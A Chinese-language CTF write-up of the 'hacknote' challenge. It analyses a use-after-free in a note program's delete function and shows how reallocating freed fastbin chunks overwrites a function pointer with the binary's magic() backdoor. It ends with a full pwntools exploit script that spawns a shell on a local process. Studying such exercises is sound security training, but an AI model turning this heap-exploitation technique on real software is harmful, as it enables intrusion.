IDA,F5
main函式

add_note 函式


notelist是4位元組,在源代碼中,每個notelist[i]裝的是新malloc的地址,
*notelist指向這個地址的內容,
*notelist[i]=print_note_content ,print_note_content又是4個位元組,
v1指標指向notelist[0]的內容,即新的malloc地址,那么*notelist內容就可以被分為v1[0]和v1[1],v1[0]的內容是print_note_content回傳值,
v1[1]=malloc(size),即v1[1]里面又裝著一個新的chunk地址,

delnote 函式
free兩次,沒有設定為null,存在UAF漏洞,

此題留有后門函式:

print_note函式

這個函式列印的是第一個chunk的v1[0]部分,也就是print_note_content的地址,
分析
這個題可以想辦法把v1[0]的內容,由print_note_content()地址變成magic()函式地址,
這里可以先add note兩次,那么,就產生了4個chunk,注意,chunk content一定要比chunk p大,

del note(0)把notelist[0]所連的2個chunkfree掉,因為兩個chunk大小不同,會被鏈在不同的串上,一個是0x10,一個是0x18,

del note(1)把notelist[1]所連的2個chunkfree掉,

可以想到,0x10所連的2個chunk分別是chunk p1和chunk p2,
接著呼叫add note,設定傳送的大小是0x8,而0x8+0x4+0x4=0x10,正好可以分配chunk p2和chunk p1,
不要忘了add note函式的功能:可以把兩個chunk鏈接起來

chunk p2的v1[1]的內容是chunk p1的地址,chunk p2 作為新的chunk p,chunk p1 是chunk content,所以在寫入chunk content時,把magic函式作為內容寫入,最后利用print_note()函式讀取notelist[0]的v1[0],最后拿到shell,所以此時chunk p1和chunk p2的關系是:

解題代碼
from pwn import *
context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')
def add(size,content='aaaa'):
p.sendlineafter(':','1')
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def delete(index):
p.sendlineafter(':','2')
p.sendlineafter(':',str(index))
def show(index):
p.sendlineafter(':','3')
p.sendlineafter(':',str(index))
def dbg():
gdb.attach(p)
pause()
sh = p32(elf.sym['magic'])
add(0x10)
add(0x10)
#dbg()
delete(0)
#dbg()
delete(1)
#dbg()
add(0x8,sh)
#dbg()
show(0)
#dbg()
p.interactive()
大功告成

這道題繞來繞去好暈啊~吃飯去啦!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/274853.html
標籤:其他
